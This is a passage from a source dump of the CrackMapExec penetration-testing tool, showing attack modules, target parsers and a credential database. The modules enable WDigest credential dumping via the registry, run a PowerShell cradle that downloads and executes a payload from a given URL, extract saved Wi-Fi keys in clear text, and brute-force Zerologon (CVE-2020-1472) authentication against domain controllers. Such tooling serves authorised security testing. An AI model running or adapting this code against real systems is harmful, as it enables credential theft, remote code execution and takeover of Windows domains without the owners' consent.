138 | 139 | except Exception as e: 140 | 141 | entry = sAMAccountName or 'item' 142 | self.context.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) 143 | 144 | if description and sAMAccountName not in self.account_names: 145 | 146 | self.desc_count += 1 147 | self.append_to_log(sAMAccountName, description) 148 | 149 | if self.highlight(description): 150 | self.context.log.highlight('User: {} - Description: {}'.format(sAMAccountName, description)) 151 | 152 | self.account_names.add(sAMAccountName) 153 | 154 | def highlight(self, description): 155 | ''' 156 | Check for interesting entries. Just checks whether certain keywords are contained within the 157 | user description. Keywords are configured at the top of this class within the options function. 158 | 159 | It is tempting to implement more logic here (e.g. catch all strings that are longer than seven 160 | characters and contain 3 different character classes). Such functionality is nice when playing 161 | CTF in small AD environments. When facing a real AD, such functionality gets annoying, because 162 | it generates to much output with 99% of it being false positives. 163 | 164 | The recommended way when targeting user descriptions is to use the keyword filter to catch low 165 | hanging fruites. More dedicated searches for sensitive information should be done using the logfile. 166 | This allows you to refine your search query at any time without having to pull data from AD again. 167 | ''' 168 | for keyword in self.keywords: 169 | if keyword.lower() in description.lower(): 170 | return True 171 | 172 | return False 173 | -------------------------------------------------------------------------------- /cme/modules/wdigest.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | from sys import exit 5 | 6 | class CMEModule: 7 | 8 | name = 'wdigest' 9 | description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1" 10 | supported_protocols = ['smb'] 11 | opsec_safe = True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | ACTION Create/Delete the registry key (choices: enable, disable) 17 | ''' 18 | 19 | if not 'ACTION' in module_options: 20 | context.log.error('ACTION option not specified!') 21 | exit(1) 22 | 23 | if module_options['ACTION'].lower() not in ['enable', 'disable']: 24 | context.log.error('Invalid value for ACTION option!') 25 | exit(1) 26 | 27 | self.action = module_options['ACTION'].lower() 28 | 29 | def on_admin_login(self, context, connection): 30 | if self.action == 'enable': 31 | self.wdigest_enable(context, connection.conn) 32 | elif self.action == 'disable': 33 | self.wdigest_disable(context, connection.conn) 34 | 35 | def wdigest_enable(self, context, smbconnection): 36 | remoteOps = RemoteOperations(smbconnection, False) 37 | remoteOps.enableRegistry() 38 | 39 | if remoteOps._RemoteOperations__rrp: 40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 41 | regHandle = ans['phKey'] 42 | 43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 44 | keyHandle = ans['phkResult'] 45 | 46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1) 47 | 48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 49 | 50 | if int(data) == 1: 51 | context.log.success('UseLogonCredential registry key created successfully') 52 | 53 | try: 54 | remoteOps.finish() 55 | except: 56 | pass 57 | 58 | def wdigest_disable(self, context, smbconnection): 59 | remoteOps = RemoteOperations(smbconnection, False) 60 | remoteOps.enableRegistry() 61 | 62 | if remoteOps._RemoteOperations__rrp: 63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 64 | regHandle = ans['phKey'] 65 | 66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') 67 | keyHandle = ans['phkResult'] 68 | 69 | try: 70 | rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 71 | except: 72 | context.log.success('UseLogonCredential registry key not present') 73 | 74 | try: 75 | remoteOps.finish() 76 | except: 77 | pass 78 | 79 | return 80 | 81 | try: 82 | #Check to make sure the reg key is actually deleted 83 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') 84 | except DCERPCException: 85 | context.log.success('UseLogonCredential registry key deleted successfully') 86 | 87 | try: 88 | remoteOps.finish() 89 | except: 90 | pass 91 | 92 | -------------------------------------------------------------------------------- /cme/modules/web_delivery.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module 7 | Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1 8 | 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'web_delivery' 13 | description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module' 14 | supported_protocols = ['smb', 'mssql'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | URL URL for the download cradle 21 | ''' 22 | 23 | if not 'URL' in module_options: 24 | context.log.error('URL option is required!') 25 | exit(1) 26 | 27 | self.url = module_options['URL'] 28 | 29 | def on_admin_login(self, context, connection): 30 | ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url) 31 | connection.ps_execute(ps_command, force_ps32=True) 32 | context.log.success('Executed web-delivery launcher') 33 | -------------------------------------------------------------------------------- /cme/modules/webdav.py: -------------------------------------------------------------------------------- 1 | from cme.protocols.smb.remotefile import RemoteFile 2 | from impacket import nt_errors 3 | from impacket.smb3structs import FILE_READ_DATA 4 | from impacket.smbconnection import SessionError 5 | 6 | class CMEModule: 7 | ''' 8 | Enumerate whether the WebClient service is running on the target by looking for the 9 | DAV RPC Service pipe. This technique was first suggested by Lee Christensen (@tifkin_) 10 | 11 | Module by Tobias Neitzel (@qtc_de) 12 | ''' 13 | name = 'webdav' 14 | description = 'Checks whether the WebClient service is running on the target' 15 | supported_protocols = ['smb'] 16 | opsec_safe= True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | MSG Info message when the WebClient service is running. '{}' is replaced by the target. 22 | ''' 23 | self.output = 'WebClient Service enabled on: {}' 24 | 25 | if 'MSG' in module_options: 26 | self.output = module_options['MSG'] 27 | 28 | def on_login(self, context, connection): 29 | ''' 30 | Check whether the 'DAV RPC Service' pipe exists within the 'IPC$' share. This indicates 31 | that the WebClient service is running on the target. 32 | ''' 33 | try: 34 | remote_file = RemoteFile(connection.conn, 'DAV RPC Service', 'IPC$', access=FILE_READ_DATA) 35 | 36 | remote_file.open() 37 | remote_file.close() 38 | 39 | context.log.highlight(self.output.format(connection.conn.getRemoteHost())) 40 | 41 | except SessionError as e: 42 | 43 | if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: 44 | pass 45 | 46 | else: 47 | raise e 48 | -------------------------------------------------------------------------------- /cme/modules/wireless.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | 3 | name = 'wireless' 4 | description = "Get key of all wireless interfaces" 5 | supported_protocols = ['smb'] 6 | opsec_safe = True 7 | multiple_hosts = True 8 | 9 | def options(self, context, module_options): 10 | ''' 11 | ''' 12 | 13 | def on_admin_login(self, context, connection): 14 | 15 | command = 'powershell.exe -c "(netsh wlan show profiles) | Select-String """"\:(.+)$"""" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}' 16 | context.log.info('Executing command') 17 | p = connection.execute(command, True) 18 | context.log.success(p) 19 | -------------------------------------------------------------------------------- /cme/modules/zerologon.py: -------------------------------------------------------------------------------- 1 | # everything is comming from https://github.com/dirkjanm/CVE-2020-1472 2 | # credit to @dirkjanm 3 | # module by : @mpgn_x64 4 | 5 | import sys 6 | from impacket.dcerpc.v5 import nrpc, epm 7 | from impacket.dcerpc.v5.dtypes import NULL 8 | from impacket.dcerpc.v5 import transport 9 | from impacket import crypto 10 | import hmac, hashlib, struct, sys, socket, time 11 | from binascii import hexlify, unhexlify 12 | from subprocess import check_call 13 | 14 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. 15 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 16 | 17 | class CMEModule: 18 | 19 | name = 'zerologon' 20 | description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" 21 | supported_protocols = ['smb'] 22 | opsec_safe = True 23 | multiple_hosts = False 24 | 25 | def options(self, context, module_options): 26 | ''' 27 | NOP No options 28 | ''' 29 | 30 | def on_login(self, context, connection): 31 | if perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname): 32 | context.log.highlight("VULNERABLE") 33 | context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") 34 | 35 | def fail(msg): 36 | logging.debug(msg, file=sys.stderr) 37 | logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr) 38 | sys.exit(2) 39 | 40 | def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): 41 | # Connect to the DC's Netlogon service. 42 | 43 | 44 | # Use an all-zero challenge and credential. 45 | plaintext = b'\x00' * 8 46 | ciphertext = b'\x00' * 8 47 | 48 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 49 | flags = 0x212fffff 50 | 51 | # Send challenge and authentication request. 52 | nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) 53 | try: 54 | server_auth = nrpc.hNetrServerAuthenticate3( 55 | rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 56 | target_computer + '\x00', ciphertext, flags 57 | ) 58 | 59 | 60 | # It worked! 61 | assert server_auth['ErrorCode'] == 0 62 | return True 63 | 64 | except nrpc.DCERPCSessionError as ex: 65 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 66 | if ex.get_error_code() == 0xc0000022: 67 | return None 68 | else: 69 | fail(f'Unexpected error code from DC: {ex.get_error_code()}.') 70 | except BaseException as ex: 71 | fail(f'Unexpected error: {ex}.') 72 | 73 | def perform_attack(dc_handle, dc_ip, target_computer): 74 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256. 75 | logging.debug('Performing authentication attempts...') 76 | rpc_con = None 77 | binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 78 | rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() 79 | rpc_con.connect() 80 | rpc_con.bind(nrpc.MSRPC_UUID_NRPC) 81 | for attempt in range(0, MAX_ATTEMPTS): 82 | result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) 83 | 84 | if result is None: 85 | logging.debug('=', end='', flush=True) 86 | else: 87 | break 88 | if result: 89 | return True 90 | else: 91 | logging.debug('\nAttack failed. Target is probably patched.') 92 | 93 | 94 | -------------------------------------------------------------------------------- /cme/parsers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/parsers/__init__.py -------------------------------------------------------------------------------- /cme/parsers/ip.py: -------------------------------------------------------------------------------- 1 | from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface 2 | 3 | def parse_targets(target): 4 | try: 5 | if '-' in target: 6 | start_ip, end_ip = target.split('-') 7 | try: 8 | end_ip = ip_address(end_ip) 9 | except ValueError: 10 | first_three_octets = start_ip.split(".")[:-1] 11 | first_three_octets.append(end_ip) 12 | end_ip = ip_address( 13 | ".".join(first_three_octets) 14 | ) 15 | 16 | for ip_range in summarize_address_range(ip_address(start_ip), end_ip): 17 | for ip in ip_range: 18 | yield str(ip) 19 | else: 20 | if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: 21 | yield str(target) 22 | else: 23 | for ip in ip_network(target, strict=False): 24 | yield str(ip) 25 | except ValueError as e: 26 | yield str(target) 27 | -------------------------------------------------------------------------------- /cme/parsers/nessus.py: -------------------------------------------------------------------------------- 1 | import xmltodict 2 | 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard 4 | protocol_dict = { 5 | 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']}, 6 | 'mssql': {'ports': [1433], 'services': ['mssql']}, 7 | 'ssh': {'ports': [22], 'services': ['ssh']}, 8 | 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']}, 9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']} 10 | } 11 | 12 | 13 | def parse_nessus_file(nessus_file, protocol): 14 | targets = [] 15 | 16 | def handle_nessus_file(path, item): 17 | # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception 18 | # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219 19 | 20 | if any('ReportHost' and 'ReportItem' in values for values in path): 21 | item = dict(path) 22 | ip = item['ReportHost']['name'] 23 | if ip in targets: 24 | return True 25 | 26 | port = item['ReportItem']['port'] 27 | svc_name = item['ReportItem']['svc_name'] 28 | 29 | if port in protocol_dict[protocol]['ports']: 30 | targets.append(ip) 31 | if svc_name in protocol_dict[protocol]['services']: 32 | targets.append(ip) 33 | 34 | return True 35 | else: 36 | return True 37 | 38 | with open(nessus_file, 'r') as file_handle: 39 | xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file) 40 | 41 | return targets 42 | -------------------------------------------------------------------------------- /cme/parsers/nmap.py: -------------------------------------------------------------------------------- 1 | import xmltodict 2 | 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard 4 | protocol_dict = { 5 | 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']}, 6 | 'mssql': {'ports': [1433], 'services': ['ms-sql-s']}, 7 | 'ssh': {'ports': [22], 'services': ['ssh']}, 8 | 'winrm': {'ports': [5986, 5985], 'services': ['wsman']}, 9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']} 10 | } 11 | 12 | 13 | def parse_nmap_xml(nmap_output_file, protocol): 14 | targets = [] 15 | 16 | with open(nmap_output_file, 'r') as file_handle: 17 | scan_output = xmltodict.parse(file_handle.read()) 18 | 19 | for host in scan_output['nmaprun']['host']: 20 | if host['address'][0]['@addrtype'] != 'ipv4': 21 | continue 22 | 23 | ip = host['address'][0]['@addr'] 24 | for port in host['ports']['port']: 25 | if port['state']['@state'] == 'open': 26 | if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']): 27 | if ip not in targets: 28 | targets.append(ip) 29 | elif port['@portid'] in protocol_dict[protocol]['ports']: 30 | if ip not in targets: 31 | targets.append(ip) 32 | 33 | return targets 34 | -------------------------------------------------------------------------------- /cme/protocols/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/__init__.py -------------------------------------------------------------------------------- /cme/protocols/ldap/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ldap/__init__.py -------------------------------------------------------------------------------- /cme/protocols/ldap/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text 12 | )''') 13 | 14 | db_conn.execute('''CREATE TABLE "hosts" ( 15 | "id" integer PRIMARY KEY, 16 | "ip" text, 17 | "hostname" text, 18 | "port" integer 19 | )''') 20 | -------------------------------------------------------------------------------- /cme/protocols/ldap/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme/protocols/ldap/smbldap.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import random 3 | from pyasn1.codec.der import decoder, encoder 4 | from pyasn1.type.univ import noValue 5 | from impacket.ntlm import compute_lmhash, compute_nthash 6 | from impacket.ldap import ldap as ldap_impacket 7 | from cme.logger import CMEAdapter 8 | 9 | 10 | ldap_error_status = { 11 | "533":"STATUS_ACCOUNT_DISABLED", 12 | "701":"STATUS_ACCOUNT_EXPIRED", 13 | "531":"STATUS_ACCOUNT_RESTRICTION", 14 | "530":"STATUS_INVALID_LOGON_HOURS", 15 | "532":"STATUS_PASSWORD_EXPIRED", 16 | "773":"STATUS_PASSWORD_MUST_CHANGE", 17 | "775":"USER_ACCOUNT_LOCKED", 18 | "50":"LDAP_INSUFFICIENT_ACCESS" 19 | } 20 | 21 | 22 | class LDAPConnect: 23 | 24 | def __init__(self, host, port, hostname): 25 | self.proto_logger(host, port, hostname) 26 | 27 | def proto_logger(self, host, port, hostname): 28 | self.logger = CMEAdapter(extra={ 29 | 'protocol': 'LDAP', 30 | 'host': host, 31 | 'port': port, 32 | 'hostname': hostname 33 | }) 34 | 35 | def plaintext_login(self, domain, username, password, ntlm_hash): 36 | 37 | lmhash = '' 38 | nthash = '' 39 | 40 | 41 | #This checks to see if we didn't provide the LM Hash 42 | if ntlm_hash and ntlm_hash.find(':') != -1: 43 | lmhash, nthash = ntlm_hash.split(':') 44 | elif ntlm_hash: 45 | nthash = ntlm_hash 46 | 47 | # Create the baseDN 48 | baseDN = '' 49 | domainParts = domain.split('.') 50 | for i in domainParts: 51 | baseDN += 'dc=%s,' % i 52 | # Remove last ',' 53 | baseDN = baseDN[:-1] 54 | 55 | try: 56 | ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % domain, baseDN, domain) 57 | ldapConnection.login(username, password, domain, lmhash, nthash) 58 | 59 | # Connect to LDAP 60 | out = u'{}{}:{}'.format('{}\\'.format(domain), 61 | username, 62 | password if password else ntlm_hash) 63 | self.logger.extra['protocol'] = "LDAP" 64 | self.logger.extra['port'] = "389" 65 | # self.logger.success(out) 66 | 67 | return ldapConnection 68 | 69 | except ldap_impacket.LDAPSessionError as e: 70 | if str(e).find('strongerAuthRequired') >= 0: 71 | # We need to try SSL 72 | try: 73 | ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % domain, baseDN, domain) 74 | ldapConnection.login(username, password, domain, lmhash, nthash) 75 | self.logger.extra['protocol'] = "LDAPS" 76 | self.logger.extra['port'] = "636" 77 | # self.logger.success(out) 78 | return ldapConnection 79 | except ldap_impacket.LDAPSessionError as e: 80 | errorCode = str(e).split()[-2][:-1] 81 | self.logger.error(u'{}\\{}:{} {}'.format(domain, 82 | username, 83 | password if password else ntlm_hash, 84 | ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), 85 | color='magenta' if errorCode in ldap_error_status else 'red') 86 | else: 87 | errorCode = str(e).split()[-2][:-1] 88 | self.logger.error(u'{}\\{}:{} {}'.format(domain, 89 | username, 90 | password if password else ntlm_hash, 91 | ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), 92 | color='magenta' if errorCode in ldap_error_status else 'red') 93 | return False 94 | 95 | except OSError as e: 96 | self.logger.debug(u'{}\\{}:{} {}'.format(domain, 97 | username, 98 | password if password else ntlm_hash, 99 | "Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller")) 100 | return False 101 | 102 | -------------------------------------------------------------------------------- /cme/protocols/mssql/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/mssql/__init__.py -------------------------------------------------------------------------------- /cme/protocols/mssql/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "computers" ( 9 | "id" integer PRIMARY KEY, 10 | "ip" text, 11 | "hostname" text, 12 | "domain" text, 13 | "os" text, 14 | "instances" integer 15 | )''') 16 | 17 | # This table keeps track of which credential has admin access over which machine and vice-versa 18 | db_conn.execute('''CREATE TABLE "admin_relations" ( 19 | "id" integer PRIMARY KEY, 20 | "userid" integer, 21 | "computerid" integer, 22 | FOREIGN KEY(userid) REFERENCES users(id), 23 | FOREIGN KEY(computerid) REFERENCES computers(id) 24 | )''') 25 | 26 | # type = hash, plaintext 27 | db_conn.execute('''CREATE TABLE "users" ( 28 | "id" integer PRIMARY KEY, 29 | "credtype" text, 30 | "domain" text, 31 | "username" text, 32 | "password" text 33 | )''') 34 | 35 | def add_computer(self, ip, hostname, domain, os, instances): 36 | """ 37 | Check if this host has already been added to the database, if not add it in. 38 | """ 39 | cur = self.conn.cursor() 40 | 41 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) 42 | results = cur.fetchall() 43 | 44 | if not len(results): 45 | cur.execute("INSERT INTO computers (ip, hostname, domain, os, instances) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, instances]) 46 | 47 | cur.close() 48 | 49 | def add_credential(self, credtype, domain, username, password): 50 | """ 51 | Check if this credential has already been added to the database, if not add it in. 52 | """ 53 | cur = self.conn.cursor() 54 | 55 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password]) 56 | results = cur.fetchall() 57 | 58 | if not len(results): 59 | cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password]) 60 | 61 | cur.close() 62 | 63 | def remove_credentials(self, credIDs): 64 | """ 65 | Removes a credential ID from the database 66 | """ 67 | for credID in credIDs: 68 | cur = self.conn.cursor() 69 | cur.execute("DELETE FROM users WHERE id=?", [credID]) 70 | cur.close() 71 | 72 | def add_admin_user(self, credtype, domain, username, password, host): 73 | 74 | cur = self.conn.cursor() 75 | 76 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password]) 77 | creds = cur.fetchall() 78 | 79 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host]) 80 | hosts = cur.fetchall() 81 | 82 | if len(creds) and len(hosts): 83 | for cred, host in zip(creds, hosts): 84 | userid = cred[0] 85 | computerid = host[0] 86 | 87 | # Check to see if we already added this link 88 | cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, computerid]) 89 | links = cur.fetchall() 90 | 91 | if not len(links): 92 | cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, computerid]) 93 | 94 | cur.close() 95 | 96 | def get_admin_relations(self, userID=None, hostID=None): 97 | 98 | cur = self.conn.cursor() 99 | 100 | if userID: 101 | cur.execute("SELECT * from admin_relations WHERE userid=?", [userID]) 102 | 103 | elif hostID: 104 | cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID]) 105 | 106 | results = cur.fetchall() 107 | cur.close() 108 | return results 109 | 110 | def remove_admin_relation(self, userIDs=None, hostIDs=None): 111 | 112 | cur = self.conn.cursor() 113 | 114 | if userIDs: 115 | for userID in userIDs: 116 | cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID]) 117 | 118 | elif hostIDs: 119 | for hostID in hostIDs: 120 | cur.execute("DELETE FROM admin_relations WHERE computerid=?", [hostID]) 121 | 122 | cur.close() 123 | 124 | def is_credential_valid(self, credentialID): 125 | """ 126 | Check if this credential ID is valid. 127 | """ 128 | cur = self.conn.cursor() 129 | cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [credentialID]) 130 | results = cur.fetchall() 131 | cur.close() 132 | return len(results) > 0 133 | 134 | def get_credentials(self, filterTerm=None, credtype=None): 135 | """ 136 | Return credentials from the database. 137 | """ 138 | 139 | cur = self.conn.cursor() 140 | 141 | # if we're returning a single credential by ID 142 | if self.is_credential_valid(filterTerm): 143 | cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm]) 144 | 145 | # if we're filtering by credtype 146 | elif credtype: 147 | cur.execute("SELECT * FROM users WHERE credtype=?", [credtype]) 148 | 149 | # if we're filtering by username 150 | elif filterTerm and filterTerm != "": 151 | cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())]) 152 | 153 | # otherwise return all credentials 154 | else: 155 | cur.execute("SELECT * FROM users") 156 | 157 | results = cur.fetchall() 158 | cur.close() 159 | return results 160 | 161 | def is_computer_valid(self, hostID): 162 | """ 163 | Check if this computer ID is valid. 164 | """ 165 | cur = self.conn.cursor() 166 | cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID]) 167 | results = cur.fetchall() 168 | cur.close() 169 | return len(results) > 0 170 | 171 | def get_computers(self, filterTerm=None): 172 | """ 173 | Return computers from the database. 174 | """ 175 | 176 | cur = self.conn.cursor() 177 | 178 | # if we're returning a single host by ID 179 | if self.is_computer_valid(filterTerm): 180 | cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm]) 181 | 182 | # if we're filtering by ip/hostname 183 | elif filterTerm and filterTerm != "": 184 | cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())]) 185 | 186 | # otherwise return all credentials 187 | else: 188 | cur.execute("SELECT * FROM computers") 189 | 190 | results = cur.fetchall() 191 | cur.close() 192 | return results 193 | -------------------------------------------------------------------------------- /cme/protocols/mssql/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.misc import validate_ntlm 2 | from cme.cmedb import DatabaseNavigator 3 | 4 | 5 | class navigator(DatabaseNavigator): 6 | 7 | def display_creds(self, creds): 8 | 9 | data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] 10 | 11 | for cred in creds: 12 | 13 | credID = cred[0] 14 | domain = cred[1] 15 | username = cred[2] 16 | password = cred[3] 17 | credtype = cred[4] 18 | # pillaged_from = cred[5] 19 | 20 | links = self.db.get_admin_relations(userID=credID) 21 | 22 | data.append([credID, str(len(links)) + ' Host(s)', credtype, domain, username, password]) 23 | 24 | self.print_table(data, title='Credentials') 25 | 26 | def display_hosts(self, hosts): 27 | 28 | data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']] 29 | 30 | for host in hosts: 31 | 32 | hostID = host[0] 33 | ip = host[1] 34 | hostname = host[2] 35 | domain = host[3] 36 | os = host[4] 37 | instances = host[5] 38 | 39 | links = self.db.get_admin_relations(hostID=hostID) 40 | 41 | data.append([hostID, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances]) 42 | 43 | self.print_table(data, title='Hosts') 44 | 45 | def do_hosts(self, line): 46 | 47 | filterTerm = line.strip() 48 | 49 | if filterTerm == "": 50 | hosts = self.db.get_computers() 51 | self.display_hosts(hosts) 52 | else: 53 | hosts = self.db.get_computers(filterTerm=filterTerm) 54 | 55 | if len(hosts) > 1: 56 | self.display_hosts(hosts) 57 | elif len(hosts) == 1: 58 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] 59 | hostIDList = [] 60 | 61 | for host in hosts: 62 | hostID = host[0] 63 | hostIDList.append(hostID) 64 | 65 | ip = host[1] 66 | hostname = host[2] 67 | domain = host[3] 68 | os = host[4] 69 | 70 | data.append([hostID, ip, hostname, domain, os]) 71 | 72 | self.print_table(data, title='Host(s)') 73 | 74 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] 75 | for hostID in hostIDList: 76 | links = self.db.get_admin_relations(hostID=hostID) 77 | 78 | for link in links: 79 | linkID, credID, hostID = link 80 | creds = self.db.get_credentials(filterTerm=credID) 81 | 82 | for cred in creds: 83 | credID = cred[0] 84 | domain = cred[1] 85 | username = cred[2] 86 | password = cred[3] 87 | credtype = cred[4] 88 | # pillaged_from = cred[5] 89 | 90 | data.append([credID, credtype, domain, username, password]) 91 | 92 | self.print_table(data, title='Credential(s) with Admin Access') 93 | 94 | def do_creds(self, line): 95 | 96 | filterTerm = line.strip() 97 | 98 | if filterTerm == "": 99 | creds = self.db.get_credentials() 100 | self.display_creds(creds) 101 | 102 | elif filterTerm.split()[0].lower() == "add": 103 | args = filterTerm.split()[1:] 104 | 105 | if len(args) == 3: 106 | domain, username, password = args 107 | if validate_ntlm(password): 108 | self.db.add_credential("hash", domain, username, password) 109 | else: 110 | self.db.add_credential("plaintext", domain, username, password) 111 | 112 | else: 113 | print("[!] Format is 'add domain username password") 114 | return 115 | 116 | elif filterTerm.split()[0].lower() == "remove": 117 | 118 | args = filterTerm.split()[1:] 119 | if len(args) != 1: 120 | print("[!] Format is 'remove '") 121 | return 122 | else: 123 | self.db.remove_credentials(args) 124 | self.db.remove_links(credIDs=args) 125 | 126 | elif filterTerm.split()[0].lower() == "plaintext": 127 | creds = self.db.get_credentials(credtype="plaintext") 128 | self.display_creds(creds) 129 | 130 | elif filterTerm.split()[0].lower() == "hash": 131 | creds = self.db.get_credentials(credtype="hash") 132 | self.display_creds(creds) 133 | 134 | else: 135 | creds = self.db.get_credentials(filterTerm=filterTerm) 136 | 137 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] 138 | credIDList = [] 139 